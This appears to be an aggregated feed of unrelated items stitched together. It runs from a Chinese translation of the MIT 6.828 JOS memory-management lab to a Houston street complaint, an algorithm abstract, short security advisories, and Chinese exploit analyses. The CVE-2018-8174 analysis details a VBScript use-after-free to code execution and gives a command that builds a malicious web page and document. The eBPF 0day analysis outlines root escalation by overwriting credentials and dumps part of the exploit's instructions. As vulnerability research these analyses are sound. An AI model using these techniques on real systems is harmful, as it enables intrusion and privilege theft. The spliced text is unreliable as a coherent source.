          Caffeinated 6.828:实验 2:内存管理      Cache   Translate Page      

简介

在本实验中,你将为你的操作系统写内存管理方面的代码。内存管理由两部分组成。

第一部分是内核的物理内存分配器,内核通过它来分配内存,以及在不需要时释放所分配的内存。分配器以page为单位分配内存,每个页的大小为 4096 字节。你的任务是去维护那个数据结构,它负责记录物理页的分配和释放,以及每个分配的页有多少进程共享它。本实验中你将要写出分配和释放内存页的全套代码。

第二个部分是虚拟内存的管理,它负责由内核和用户软件使用的虚拟内存地址到物理内存地址之间的映射。当使用内存时,x86 架构的硬件是由内存管理单元(MMU)负责执行映射操作来查阅一组页表。接下来你将要修改 JOS,以根据我们提供的特定指令去设置 MMU 的页表。

预备知识

在本实验及后面的实验中,你将逐步构建你的内核。我们将会为你提供一些附加的资源。使用 Git 去获取这些资源、提交自实验 1 以来的改变(如有需要的话)、获取课程仓库的最新版本、以及在我们的实验 2 (origin/lab2)的基础上创建一个称为 lab2 的本地分支:

athena% cd ~/6.828/lab
athena% add git
athena% git pull
Already up-to-date.
athena% git checkout -b lab2 origin/lab2
Branch lab2 set up to track remote branch refs/remotes/origin/lab2.
Switched to a new branch "lab2"
athena%

上面的 git checkout -b 命令其实做了两件事情:首先它创建了一个本地分支 lab2,它跟踪给我们提供课程内容的远程分支 origin/lab2 ,第二件事情是,它改变你的 lab 目录的内容以反映 lab2 分支上存储的文件的变化。Git 允许你在已存在的两个分支之间使用 git checkout *branch-name* 命令去切换,但是在你切换到另一个分支之前,你应该去提交那个分支上你做的任何有意义的变更。

现在,你需要将你在 lab1 分支中的改变合并到 lab2 分支中,命令如下:

athena% git merge lab1
Merge made by recursive.
 kern/kdebug.c  |   11 +++++++++-- 
 kern/monitor.c |   19 +++++++++++++++++++
 lib/printfmt.c |    7 +++----
 3 files changed, 31 insertions(+), 6 deletions(-)
athena%

在一些案例中,Git 或许并不知道如何将你的更改与新的实验任务合并(例如,你在第二个实验任务中变更了一些代码的修改)。在那种情况下,你使用 git 命令去合并,它会告诉你哪个文件发生了冲突,你必须首先去解决冲突(通过编辑冲突的文件),然后使用 git commit -a 去重新提交文件。

实验 2 包含如下的新源代码,后面你将逐个了解它们:

  • inc/memlayout.h
  • kern/pmap.c
  • kern/pmap.h
  • kern/kclock.h
  • kern/kclock.c

memlayout.h 描述虚拟地址空间的布局,这个虚拟地址空间是通过修改 pmap.cmemlayout.hpmap.h 所定义的 PageInfo 数据结构来实现的,这个数据结构用于跟踪物理内存页面是否被释放。kclock.ckclock.h 维护 PC 上基于电池的时钟和 CMOS RAM 硬件,在此,BIOS 中记录了 PC 上安装的物理内存数量,以及其它的一些信息。在 pmap.c 中的代码需要去读取这个设备硬件,以算出在这个设备上安装了多少物理内存,但这部分代码已经为你完成了:你不需要知道 CMOS 硬件工作原理的细节。

特别需要注意的是 memlayout.hpmap.h,因为本实验需要你去使用和理解的大部分内容都包含在这两个文件中。你或许还需要去看看 inc/mmu.h 这个文件,因为它也包含了本实验中用到的许多定义。

开始本实验之前,记得去添加 exokernel 以获取 QEMU 的 6.828 版本。

实验过程

在你准备进行实验和写代码之前,先添加你的 answers-lab2.txt 文件到 Git 仓库,提交你的改变然后去运行 make handin

athena% git add answers-lab2.txt
athena% git commit -am "my answer to lab2"
[lab2 a823de9] my answer to lab2 4 files changed, 87 insertions(+), 10 deletions(-)
athena% make handin

正如前面所说的,我们将使用一个评级程序来分级你的解决方案,你可以在 lab 目录下运行 make grade,使用评级程序来测试你的内核。为了完成你的实验,你可以改变任何你需要的内核源代码和头文件。但毫无疑问的是,你不能以任何形式去改变或破坏评级代码。

第 1 部分:物理页面管理

操作系统必须跟踪物理内存页是否使用的状态。JOS 以“页”为最小粒度来管理 PC 的物理内存,以便于它使用 MMU 去映射和保护每个已分配的内存片段。

现在,你将要写内存的物理页分配器的代码。它将使用 struct PageInfo 对象的链表来保持对物理页的状态跟踪,每个对象都对应到一个物理内存页。在你能够编写剩下的虚拟内存实现代码之前,你需要先编写物理内存页面分配器,因为你的页表管理代码将需要去分配物理内存来存储页表。

练习 1

在文件 kern/pmap.c 中,你需要去实现以下函数的代码(或许要按给定的顺序来实现)。

  • boot_alloc()
  • mem_init()(只要能够调用 check_page_free_list() 即可)
  • page_init()
  • page_alloc()
  • page_free()

check_page_free_list()check_page_alloc() 可以测试你的物理内存页分配器。你将需要引导 JOS 然后去看一下 check_page_alloc() 是否报告成功即可。如果没有报告成功,修复你的代码直到成功为止。你可以添加你自己的 assert() 以帮助你去验证是否符合你的预期。

本实验以及所有的 6.828 实验中,将要求你做一些检测工作,以便于你搞清楚它们是否按你的预期来工作。这个任务不需要详细描述你添加到 JOS 中的代码的细节。查找 JOS 源代码中你需要去修改的那部分的注释;这些注释中经常包含有技术规范和提示信息。你也可能需要去查阅 JOS 和 Intel 的技术手册、以及你的 6.004 或 6.033 课程笔记的相关部分。

第 2 部分:虚拟内存

在你开始动手之前,需要先熟悉 x86 内存管理架构的保护模式:即分段和页面转换。

练习 2

如果你对 x86 的保护模式还不熟悉,可以查看 Intel 80386 参考手册的第 5 章和第 6 章。阅读这些章节(5.2 和 6.4)中关于页面转换和基于页面的保护。我们建议你也去了解关于段的章节;在虚拟内存和保护模式中,JOS 使用了分页、段转换、以及在 x86 上不能禁用的基于段的保护,因此你需要去理解这些基础知识。

虚拟地址、线性地址和物理地址

在 x86 的专用术语中,一个虚拟地址virtual address是由一个段选择器和在段中的偏移量组成。一个线性地址linear address是在页面转换之前、段转换之后得到的一个地址。一个物理地址physical address是段和页面转换之后得到的最终地址,它最终将进入你的物理内存中的硬件总线。

一个 C 指针是虚拟地址的“偏移量”部分。在 boot/boot.S 中我们安装了一个全局描述符表Global Descriptor Table(GDT),它通过设置所有的段基址为 0,并且限制为 0xffffffff 来有效地禁用段转换。因此“段选择器”并不会生效,而线性地址总是等于虚拟地址的偏移量。在实验 3 中,为了设置权限级别,我们将与段有更多的交互。但是对于内存转换,我们将在整个 JOS 实验中忽略段,只专注于页转换。

回顾实验 1 中的第 3 部分,我们安装了一个简单的页表,这样内核就可以在 0xf0100000 链接的地址上运行,尽管它实际上是加载在 0x00100000 处的 ROM BIOS 的物理内存上。这个页表仅映射了 4MB 的内存。在实验中,你将要为 JOS 去设置虚拟内存布局,我们将从虚拟地址 0xf0000000 处开始扩展它,以映射物理内存的前 256MB,并映射许多其它区域的虚拟内存。

练习 3

虽然 GDB 能够通过虚拟地址访问 QEMU 的内存,它经常用于在配置虚拟内存期间检查物理内存。在实验工具指南中复习 QEMU 的监视器命令,尤其是 xp 命令,它可以让你去检查物理内存。要访问 QEMU 监视器,可以在终端中按 Ctrl-a c(相同的绑定返回到串行控制台)。

使用 QEMU 监视器的 xp 命令和 GDB 的 x 命令去检查相应的物理内存和虚拟内存,以确保你看到的是相同的数据。

我们的打过补丁的 QEMU 版本提供一个非常有用的 info pg 命令:它可以展示当前页表的一个具体描述,包括所有已映射的内存范围、权限、以及标志。原本的 QEMU 也提供一个 info mem 命令用于去展示一个概要信息,这个信息包含了已映射的虚拟内存范围和使用了什么权限。

在 CPU 上运行的代码,一旦处于保护模式(这是在 boot/boot.S 中所做的第一件事情)中,是没有办法去直接使用一个线性地址或物理地址的。所有的内存引用都被解释为虚拟地址,然后由 MMU 来转换,这意味着在 C 语言中的指针都是虚拟地址。

例如在物理内存分配器中,JOS 内存经常需要在不反向引用的情况下,去维护作为地址的一个很难懂的值或一个整数。有时它们是虚拟地址,而有时是物理地址。为便于在代码中证明,JOS 源文件中将它们区分为两种:类型 uintptr_t 表示一个难懂的虚拟地址,而类型 physaddr_trepresents 表示物理地址。这些类型其实不过是 32 位整数(uint32_t)的同义词,因此编译器不会阻止你将一个类型的数据指派为另一个类型!因为它们都是整数(而不是指针)类型,如果你想去反向引用它们,编译器将报错。

JOS 内核能够通过将它转换为指针类型的方式来反向引用一个 uintptr_t 类型。相反,内核不能反向引用一个物理地址,因为这是由 MMU 来转换所有的内存引用。如果你转换一个 physaddr_t 为一个指针类型,并反向引用它,你或许能够加载和存储最终结果地址(硬件将它解释为一个虚拟地址),但你并不会取得你想要的内存位置。

总结如下:

C 类型 地址类型
T* 虚拟
uintptr_t 虚拟
physaddr_t 物理

问题:

  1. 假设下面的 JOS 内核代码是正确的,那么变量 x 应该是什么类型?uintptr_t 还是 physaddr_t

JOS 内核有时需要去读取或修改它只知道其物理地址的内存。例如,添加一个映射到页表,可以要求分配物理内存去存储一个页目录,然后去初始化它们。然而,内核也和其它的软件一样,并不能跳过虚拟地址转换,内核并不能直接加载和存储物理地址。一个原因是 JOS 将重映射从虚拟地址 0xf0000000 处的物理地址 0 开始的所有的物理地址,以帮助内核去读取和写入它知道物理地址的内存。为转换一个物理地址为一个内核能够真正进行读写操作的虚拟地址,内核必须添加 0xf0000000 到物理地址以找到在重映射区域中相应的虚拟地址。你应该使用 KADDR(pa) 去做那个添加操作。

JOS 内核有时也需要能够通过给定的内核数据结构中存储的虚拟地址找到内存中的物理地址。内核全局变量和通过 boot_alloc() 分配的内存是在内核所加载的区域中,从 0xf0000000 处开始的这个所有物理内存映射的区域。因此,要转换这些区域中一个虚拟地址为物理地址时,内核能够只是简单地减去 0xf0000000 即可得到物理地址。你应该使用 PADDR(va) 去做那个减法操作。

引用计数

在以后的实验中,你将会经常遇到多个虚拟地址(或多个环境下的地址空间中)同时映射到相同的物理页面上。你将在 struct PageInfo 数据结构中的 pp_ref 字段来记录一个每个物理页面的引用计数器。如果一个物理页面的这个计数器为 0,表示这个页面已经被释放,因为它不再被使用了。一般情况下,这个计数器应该等于所有页表中物理页面出现在 UTOP 之下的次数(UTOP 之上的映射大都是在引导时由内核设置的,并且它从不会被释放,因此不需要引用计数器)。我们也使用它去跟踪放到页目录页的指针数量,反过来就是,页目录到页表页的引用数量。

使用 page_alloc 时要注意。它返回的页面引用计数总是为 0,因此,一旦对返回页做了一些操作(比如将它插入到页表),pp_ref 就应该增加。有时这需要通过其它函数(比如,page_instert)来处理,而有时这个函数是直接调用 page_alloc 来做的。

页表管理

现在,你将写一套管理页表的代码:去插入和删除线性地址到物理地址的映射表,并且在需要的时候去创建页表。

练习 4

在文件 kern/pmap.c 中,你必须去实现下列函数的代码。

  • pgdir_walk()
  • bootmapregion()
  • page_lookup()
  • page_remove()
  • page_insert()

check_page(),调用自 mem_init(),测试你的页表管理函数。在进行下一步流程之前你应该确保它成功运行。

第 3 部分:内核地址空间

JOS 分割处理器的 32 位线性地址空间为两部分:用户环境(进程),(我们将在实验 3 中开始加载和运行),它将控制其上的布局和低位部分的内容;而内核总是维护对高位部分的完全控制。分割线的定义是在 inc/memlayout.h 中通过符号 ULIM 来划分的,它为内核保留了大约 256MB 的虚拟地址空间。这就解释了为什么我们要在实验 1 中给内核这样的一个高位链接地址的原因:如是不这样做的话,内核的虚拟地址空间将没有足够的空间去同时映射到下面的用户空间中。

你可以在 inc/memlayout.h 中找到一个图表,它有助于你去理解 JOS 内存布局,这在本实验和后面的实验中都会用到。

权限和故障隔离

由于内核和用户的内存都存在于它们各自环境的地址空间中,因此我们需要在 x86 的页表中使用权限位去允许用户代码只能访问用户所属地址空间的部分。否则,用户代码中的 bug 可能会覆写内核数据,导致系统崩溃或者发生各种莫名其妙的的故障;用户代码也可能会偷窥其它环境的私有数据。

对于 ULIM 以上部分的内存,用户环境没有任何权限,只有内核才可以读取和写入这部分内存。对于 [UTOP,ULIM] 地址范围,内核和用户都有相同的权限:它们可以读取但不能写入这个地址范围。这个地址范围是用于向用户环境暴露某些只读的内核数据结构。最后,低于 UTOP 的地址空间是为用户环境所使用的;用户环境将为访问这些内核设置权限。

初始化内核地址空间

现在,你将去配置 UTOP 以上的地址空间:内核部分的地址空间。inc/memlayout.h 中展示了你将要使用的布局。我将使用函数去写相关的线性地址到物理地址的映射配置。

练习 5

完成调用 check_page() 之后在 mem_init() 中缺失的代码。

现在,你的代码应该通过了 check_kern_pgdir()check_page_installed_pgdir() 的检查。

问题:

​ 1、在这个时刻,页目录中的条目(行)是什么?它们映射的址址是什么?以及它们映射到哪里了?换句话说就是,尽可能多地填写这个表:

条目 虚拟地址基址 指向(逻辑上):
1023 ? 物理内存顶部 4MB 的页表
1022 ? ?
. ? ?
. ? ?
. ? ?
2 0x00800000 ?
1 0x00400000 ?
0 0x00000000 [参见下一问题]

​ 2、(来自课程 3) 我们将内核和用户环境放在相同的地址空间中。为什么用户程序不能去读取和写入内核的内存?有什么特殊机制保护内核内存?

​ 3、这个操作系统能够支持的最大的物理内存数量是多少?为什么?

​ 4、如果我们真的拥有最大数量的物理内存,有多少空间的开销用于管理内存?这个开销可以减少吗?

​ 5、复习在 kern/entry.Skern/entrypgdir.c 中的页表设置。一旦我们打开分页,EIP 仍是一个很小的数字(稍大于 1MB)。在什么情况下,我们转而去运行在 KERNBASE 之上的一个 EIP?当我们启用分页并开始在 KERNBASE 之上运行一个 EIP 时,是什么让我们能够一个很低的 EIP 上持续运行?为什么这种转变是必需的?

地址空间布局的其它选择

在 JOS 中我们使用的地址空间布局并不是我们唯一的选择。一个操作系统可以在低位的线性地址上映射内核,而为用户进程保留线性地址的高位部分。然而,x86 内核一般并不采用这种方法,因为 x86 向后兼容模式之一(被称为“虚拟 8086 模式”)“不可改变地”在处理器使用线性地址空间的最下面部分,所以,如果内核被映射到这里是根本无法使用的。

虽然很困难,但是设计这样的内核是有这种可能的,即:不为处理器自身保留任何固定的线性地址或虚拟地址空间,而有效地允许用户级进程不受限制地使用整个 4GB 的虚拟地址空间 —— 同时还要在这些进程之间充分保护内核以及不同的进程之间相互受保护!

将内核的内存分配系统进行概括类推,以支持二次幂为单位的各种页大小,从 4KB 到一些你选择的合理的最大值。你务必要有一些方法,将较大的分配单位按需分割为一些较小的单位,以及在需要时,将多个较小的分配单位合并为一个较大的分配单位。想一想在这样的一个系统中可能会出现些什么样的问题。

这个实验做完了。确保你通过了所有的等级测试,并记得在 answers-lab2.txt 中写下你对上述问题的答案。提交你的改变(包括添加 answers-lab2.txt 文件),并在 lab 目录下输入 make handin 去提交你的实验。


via: https://sipb.mit.edu/iap/6.828/lab/lab2/

作者:Mit 译者:qhwdw 校对:wxy

本文由 LCTT 原创编译,Linux中国 荣誉推出


          Remove Dead Animal from City Street or Curb      Cache   Translate Page      
Address: 6406 Kernel St Houston, TX 77087, USA
Rating: 1

dead dog bad odore sidewalk


          Fast Real-Time Kernel RX Algorithm Based on Cholesky Decomposition      Cache   Translate Page      
Real-time processing has attracted wide attention in hyperspectral anomaly detection. The traditional local real-time kernel RX detector (LRT-KRXD) is still with some computational limitations, which lower the processing speed and even damage the detection due to the matrix singularity. In this letter, we present LRT-KRXD based on Cholesky decomposition (LRT-KRXD-CD). First, the derivation of kernel covariance matrices is computationally expensive in KRXD, while each two adjacent matrices contain almost identical content. To remove the repeated computation, a recursive strategy for these kernel covariance matrices is used. Second, the kernel covariance matrix is symmetric positive definite after adding a diagonal matrix with small scale. With this property, Cholesky decomposition and linear system solving can be utilized to address the problem of inverse matrix. In this case, the detection of LRT-KRXD-CD becomes robust and its processing speed is improved as well. Experimental results on two hyperspectral images substantiate the effectiveness of LRT-KRXD-CD.
          Windows VBScript引擎远程执行代码漏洞 CVE-2018-8174分析与利用      Cache   Translate Page      
漏洞简介 VBScript引擎处理内存中对象的方式中存在一个远程执行代码漏洞。该漏洞可能以一种攻击者可以在当前用户的上下文中执行任意代码的方式来破坏内存。成功利用此漏洞的攻击者可以获得与当前用户相同的用户权限。如果当前用户使用管理用户权限登录,则成功利用此漏洞的攻击者可以控制受影响的系统。然后攻击者可以安装程序; 查看,更改或删除数据; 或创建具有完全用户权限的新帐户。 在基于Web的攻击情形中,攻击者能通过Internet Explorer利用此漏洞的特定网站,然后诱使用户查看该网站。攻击者还可以在承载IE呈现引擎的应用程序或Microsoft Office文档中嵌入标记为“安全初始化”的ActiveX控件。攻击者还可以利用受到破坏的网站和接受或托管用户提供的内容或广告的网站。这些网站可能包含可能利用此漏洞的特制内容。 2018年5月8日,微软发布了安全补丁,影响流行的大部分系统版本。 漏洞基本信息 漏洞ID CVE-2018-8174 漏洞名称 Microsoft VBScript引擎远程执行代码漏洞 漏洞类型 远程代码执行 威胁类型 UAF 影响系统版本 Windows 7 x86和x64版本、RT8.1、Server2008及R2/2012及R2/2016、8.1、10及服务器等版本 漏洞测试 系统环境 Win7 32 IE IE8 EXP https://www.exploit-db.com/exploits/44741/ 漏洞原理 由于样本混淆严重,部分代码见图1,这里采用简化POC进行分析,代码见图2。  图1 样本采用了严重混淆  图2 Crash Poc Crash Poc中定义两个数组array_a和array_b,并声明了一个类MyTest,且重载了析构函数Class_Terminate,UAF中创建MyTest的实例赋值给数组array_a(1),并通过Erase array_a清空array_a中的元素,在析构array_a中的元素的时候会触发脚本中Class_Terminate的调用,在Class_Terminate中增加了一个array_b(0)对MyTest实例的引用(MyTest实例引用计数+1),再通过array_a (1)= 1删除array_a (1) 对MyTest实例的引用(MyTest实例引用计数-1)来平衡引用计数,这时候MyTest实例会被释放,但是array_b(0)仍然保留了这个MyTest实例的引用,从而array_b(0)指向了被释放的MyTest实例的内存,最终在MyTestVuln中通过b(0) = 0访问未分配内存触发漏洞。 当我们启用了页堆的IE浏览器运行这个PoC时,我们可以观察到OLEAUT32!VariantClear函数会发生崩溃:调用被释放的内存时出现访问冲突(Access Violation)异常。 从堆信息中可以看到eax(0x14032fd0)在vbscript!VbsErase的调用栈中被释放了,vbscript!VbsErase即对应了脚本中的Erase,而eax正是被VBScriptClass::Release函数释放的VBScriptClass对象也就是脚本中的MyTest实例。VBScriptClass::Release的逻辑如下图:     VBScriptClass::Release中首先对VBScriptClass的引用计数-1(&VBScriptClass+0×4),如果引用计数=0则调用VBScriptClass::TerminateClass,调用VBScriptClass::TerminateClass时因为在脚本中重载了Class_Terminate函数,所以获得了一次脚本执行的机会,这里就可以在释放VBScriptClass的内存前将即将释放的VBScriptClass内存地址保存脚本控制的变量中(Set array_b(0)=array_a(1)),并通过array_a (1) = 1平衡引用计数,最终释放内存。 Set array_a(1) = New MyTest时,VBScriptClass引用计数为2。 Erase array_a 返回后,MyTest指向的内存已释放,但array_b(0)仍指向这块被释放的内存,形成了悬挂指针,见下图: 漏洞利用分析 UAF漏洞利用的关键是如何用这个悬挂指针来操作内存。该漏洞利用多次UAF来完成类型混淆,通过伪造精数组对象完成任意地址读写,最终通过构造对象后释放来获取代码执行,代码执行没有使用传统的ROP技术或GodMod技术,而是通过脚本布局Shellcode利用。 伪造数组达到任意写目的 通过UAF制造2个类的mem成员指向的偏移相差0x0c字节,通过对2个对象mem成员读的写操作伪造一个0x7fffffff大小的数组。 伪造的数组大致情况是:一维数组,元素有7fffffff个,每个元素占用1字节,元素内存地址为0。所以该数组可访问的内存空间为0×00000000到0x7ffffffff*1。因此通过该数组可以任意地址读写。但是在lIlIIl在存放的时候,存放的类型是string类型,故只需要将该数据类型将会被修改为0x200C,即VT_VARIANT|VT_ARRAY,数组类型,即可达到目的。 攻击代码中,主要使用上面的函数来读取参数所指定的内存地址的数据。利用思路是在VBS中数据类型为bstr类型,通过vb中lenb(bstrxx)返回字符串地址前4个字节的内容(即bstr类型size域内容)的特性,获取指定内存读能力。 如上述代码所示,假如传进来的参数为addr(0×11223344),首先该数值加4,为0×11223348,然后设置variant类型为8(string类型)。然后调用len函数,发现是BSTR类型,vbscript会认为其向前4字节即0×11223344就是存放长度的地址内存。因此执行len函数,实际上就返回了制定参数内存地址的值。 通过DOSmodeSearch获取。 通过泄露CScriptEntryPoint对象的虚函数表地址,该地址属于Vbscript.dll。 由于vbscript.dll导入了msvcrt.dll,因此通过遍历vbscript.dll导入表获取msvcrt.dll基地址, msvcrt.dll又引入了kernelbase.dll、ntdll.dll,最后可以获取NtContinue、VirtualProtect函数地址。 绕过DEP执行shellcode a.利用任意读写的手段修改某个VAR的type类型为0x4d,再赋值为0让虚拟机执行VAR::Clear函数,如下图显示。 b.通过精心控制使代码执行ntdll!ZwContinue函数,第一次参数CONTEXT结构体也是攻击者精心构造的,见下图。 c.ZwContinue的第一个参数是指向CONTEXT结构体的指针,可计算出EIP和ESP在CONTEXT中的偏移。 d.实际运行时CONTEXT中的Eip和Esp的值以及攻击者的方法,见下图。  攻击者将CONTEXT中的EIP设置为VirutalProtect,将ESP中的返回地址和VirtualProtect的第一个参数,都设置为shellcode的起始地址。当ZwContinue执行后直接跳到VirtualProtect第一条指令开始执行。  根据攻击者构造的参数将shellcode所在内存设置为可执行状态,当VirtualProtect返回时就会跳到shellcode执行。 最后调用WinExec弹出计算器。 MSF利用 环境准备 目标机 Win7以及安装具有该漏洞的office 攻击机 Kali  linux Msf组件 https://github.com/Sch01ar/CVE-2018-8174_EXP 生成带有恶意 VBscript 的html 页面和 word 文档 python CVE-2018-8174.py -uhttp://192.168.106.139/exploit.html […]
          A Hardware Architecture for the Affine-Invariant Extension of SIFT      Cache   Translate Page      
Affine-invariant extension of scale-invariant feature transform (ASIFT) algorithm requires a large amount of computation and memory access, and consequently, is hard to process in real time. In order to increase the operation speed of ASIFT algorithm, this paper proposes a new hardware architecture for the ASIFT algorithm. In order to reduce the memory access time, the affine transform is modified to allow external memory access in the raster-scan order with a little accuracy drop. In addition, image filtering with skewed kernel is proposed in order to reduce the memory space for image storage. Additional complexity reduction is attempted to reduce the number of simulated viewpoints. As a result, throughput of the affine transform module is increased to 325% and the proposed hardware processes a video graphics array-sized ( $640times480$ ) video at 20 fps.
          FaceTime RTP Video Processing Heap Corruption      Cache   Translate Page      
There is a memory corruption issue when processing a malformed RTP video stream in FaceTime that leads to a kernel panic due to a corrupted heap cookie or data abort. This bug can be reached if a user accepts a call from a malicious caller. This issue only affects FaceTime on iOS, it does not crash on a Mac.
          Red Hat Security Advisory 2018-3459-01      Cache   Translate Page      
Red Hat Security Advisory 2018-3459-01 - The kernel packages contain the Linux kernel, the core of any Linux operating system. Issues addressed include a denial of service vulnerability.
          四两拨千斤:Ubuntu kernel eBPF 0day分析      Cache   Translate Page      

中国武术博大精深,其中太极作为不以拙力胜人的功夫备受推崇。同样如果从攻击的角度窥视漏洞领域,也不难看出攻防之间的博弈不乏“太极”的身影,轻巧稳定易利用的漏洞与工具往往更吸引黑客,今天笔者要着墨分析的就是这样一个擅长“四两拨千斤”的0day漏洞。

0day漏洞的攻击威力想必大家都听说过,内核0day更因为其影响范围广,修复周期长而备受攻击者的青睐。近期,国外安全研究者Vitaly Nikolenko在twitter[1]上公布了一个Ubuntu 16.04的内核0day利用代码[2],攻击者可以无门槛的直接利用该代码拿到Ubuntu的最高权限(root);虽然只影响特定版本,但鉴于Ubuntu在全球拥有大量用户,尤其是公有云用户,所以该漏洞对企业和个人用户还是有不小的风险。

笔者对该漏洞进行了技术分析,不管从漏洞原因还是利用技术看,都相当有代表性,是Data-Oriented Attacks在linux内核上的一个典型应用。仅利用传入的精心构造的数据即可控制程序流程,达到攻击目的,完全绕过现有的一些内存防护措施,有着“四两拨千斤”的效果 。

0×02 漏洞原因

这个漏洞存在于Linux内核的eBPF模块,我们先来简单了解下eBPF。

eBPF(extended Berkeley Packet Filter)是内核源自于BPF的一套包过滤机制,严格来说,eBPF的功能已经不仅仅局限于网络包过滤,利用它可以实现kernel tracing,tracfic control,应用性能监控等强大功能。为了实现如此强大的功能,eBPF提供了一套类RISC指令集,并实现了该指令集的虚拟机,使用者通过内核API向eBPF提交指令代码来完成特定的功能。

看到这里,有经验的安全研究者可能会想到,能向内核提交可控的指令代码去执行,很可能会带来安全问题。事实也确实如此,历史上BPF存在大量漏洞 [3]。关于eBPF的更多细节,可以参考这里[4][5]。

eBPF在设计时当然也考虑了安全问题,它在内核中实现了一套verifier机制,过滤不合规的eBPF代码。然而这次的漏洞就出在eBPF的verifier机制。

从最初Vitaly Nikolenko公布的补丁截图,我们初步判断该漏洞很有可能和CVE-2017-16995是同一个漏洞洞[6],但随后有2个疑问: 1.CVE-2017-16995在去年12月份,内核4.9和4.14及后续版本已经修复,为何Ubuntu使用的4.4版本没有修复? 2.CVE-2017-16995是Google Project Zero团队的Jann Horn发现的eBPF漏洞,存在于内核4.9和4.14版本[7],作者在漏洞报告中对漏洞原因只有简短的描述,跟本次的漏洞是否完全相同? 注:笔者所有的代码分析及调试均基于Ubuntu 14.04,内核版本为4.4.0-31-generic #50~14.04.1-Ubuntu[8]。

先来回答第二个问题,中间的调试分析过程在此不表。

参考以下代码,eBPF的verifer代码(kernel/bpf/verifier.c)中会对ALU指令进行检查(check_alu_op),该段代码最后一个else分支检查的指令是:

1.BPF_ALU64|BPF_MOV|BPF_K,把64位立即数赋值给目的寄存器; 2.BPF_ALU|BPF_MOV|BPF_K,把32位立即数赋值给目的寄存器;

但这里并没有对2条指令进行区分,直接把用户指令中的立即数insn->imm赋值给了目的寄存器,insn->imm和目的寄存器的类型是integer,这个操作会有什么影响呢?


四两拨千斤:Ubuntu kernel eBPF 0day分析
我们再来看下,eBPF运行时代码(kernel/bpf/core.c),对这2条指令的解释是怎样的(bpf_prog_run)。 参考以下代码,上面2条ALU指令分别对应ALU_MOV_K和ALU64_MOV_K,可以看出verifier和eBPF运行时代码对于2条指令的语义解释并不一样,DST是64bit寄存器,因此ALU_MOV_K得到的是一个32bit unsigned integer,而ALU64_MOV_K会对imm进行sign extension,得到一个signed 64bit integer。
四两拨千斤:Ubuntu kernel eBPF 0day分析
至此,我们大概知道漏洞的原因,这个逻辑与CVE-2017-16995基本一致,虽然代码细节上有些不同(内核4.9和4.14对verifier进行了较大调整)。但这里的语义不一致又会造成什么影响? 我们再来看下vefier中以下代码(check_cond_jmp_op),这段代码是对BPF_JMP|BPF_JNE|BPF_IMM指令进行检查,这条指令的语义是:如果目的寄存器立即数==指令的立即数(insn->imm),程序继续执行,否则执行pc+off处的指令;注意判断立即数相等的条件,因为前面ALU指令对32bit和64bit integer不加区分,不论imm是否有符号,在这里都是相等的。
四两拨千斤:Ubuntu kernel eBPF 0day分析
再看下eBPF运行时对BPF_JMP|BPF_JNE|BPF_IMM指令的解释(bpf_prog_run),显然当imm为有符合和无符号时,因为sign extension,DST!=IMM结果是不一样的。
四两拨千斤:Ubuntu kernel eBPF 0day分析
注意这是条跳转指令,这里的语义不一致后果就比较直观了,相当于我们可以通过ALU指令的立即数,控制跳转指令的逻辑。这个想象空间就比较大了,也是后面漏洞利用的基础,比如可以控制eBPF程序完全绕过verifier机制的检查,直接在运行时执行恶意代码。

值得一提的是,虽然这个漏洞的原因和CVE-2017-16995基本一样,但但控制跳转指令的思路和CVE-2017-16995中Jann Horn给的POC思路并不一样。感兴趣的读者可以分析下,CVE-2017-16995中POC,因为ALU sign extension的缺陷,导致eBPF中对指针的操作会计算不正确,从而绕过verifier的指针检查,最终读写任意kernel内存。但这种利用方法,在4.4的内核中是行不通的,因为4.4内核的eBPF不允许对指针类型进行ALU运算。

到这里,我们回过头来看下第一个问题,既然漏洞原因一致,为什么Ubuntu 4.4的内核没有修复该漏洞呢?和Linux kernel的开发模式有关。

Linux kernel分mainline,stable,longterm 3种版本[9],一般安全问题都会在mainline中修复,但对于longterm,仅会选择重要的安全补丁进行backport,因此可能会出现,对某个漏洞不重视或判断有误,导致该漏洞仍然存在于longterm版本中,比如本次的4.4 longterm,最初Jann Horn并没有在报告中提到影响4.9以下的版本。 关于Linux kernel对longterm版本的维护,争论由来已久[10],社区主流意见是建议用户使用最新版本。但各个发行版(比如Ubuntu)出于稳定性及开发成本考虑,一般选择longterm版本作为base,自行维护一套kernel。

对于嵌入式系统,这个问题更严重,大量厂商代码导致内核升级的风险及成本都远高于backport安全补丁,因此大部分嵌入式系统至今也都在使用比较老的longterm版本。比如Google Android在去年Pixel /Pixel XL 2发布时,内核版本才从3.18升级到4.4,原因也许是3.18已经进入EOL了(End of Life),也就是社区要宣布3.18进入死亡期了,后续不会在backport安全补丁到3.18,而最新的mainline版本已经到了4.16。笔者去年也在Android kernel中发现了一个未修复的历史漏洞(已报告给google并修复),但upstream在2年前就修复了。

而Vitaly Nikolenko可能是基于CVE-2017-16995的报告,在4.4版本中发现存在类似漏洞,并找到了一个种更通用的利用方法(控制跳转指令)。

0×03 漏洞利用

根据上一节对漏洞原因的分析,我们利用漏洞绕过eBPF verifier机制后,就可以执行任意eBPF支持的指令,当然最直接的就是读写任意内存。漏洞利用步骤如下:

1.构造eBPF指令,利用ALU指令缺陷,绕过eBPF verifier机制;

2.构造eBPF指令,读取内核栈基址;

3.根据泄漏的SP地址,继续构造eBPF指令,读取task_struct地址,进而得到task_struct->cred地址;

4.构造eBPF指令,覆写cred->uid, cred->gid为0,完成提权。

漏洞利用的核心,在于精心构造的恶意eBPF指令,这段指令在Vitaly Nikolenko的exp中是16机制字符串(char *__prog),并不直观,笔者为了方便,写了个小工具,把这些指令还原成比较友好的形式,当然也可以利用eBPF的调试机制,在内核log中打印出eBPF指令的可读形式。我们来看下这段eBPF程序,共41条指令(笔者写的小工具的输出):

parsing eBPF prog, size 328, len 41
ins 0: code(b4) alu | = | imm, dst_reg 9, src_reg 0, off 0, imm ffffffff
ins 1: code(55) jmp | != | imm, dst_reg 9, src_reg 0, off 2, imm ffffffff
ins 2: code(b7) alu64 | = | imm, dst_reg 0, src_reg 0, off 0, imm 0
ins 3: code(95) jmp | exit | imm, dst_reg 0, src_reg 0, off 0, imm 0
ins 4: code(18) ld | BPF_IMM | u64, dst_reg 9, src_reg 1, off 0, imm 3
ins 5: code(00) ld | BPF_IMM | u32, dst_reg 0, src_reg 0, off 0, imm 0
ins 6: code(bf) alu64 | = | src_reg, dst_reg 1, src_reg 9, off 0, imm 0
ins 7: code(bf) alu64 | = | src_reg, dst_reg 2, src_reg a, off 0, imm 0
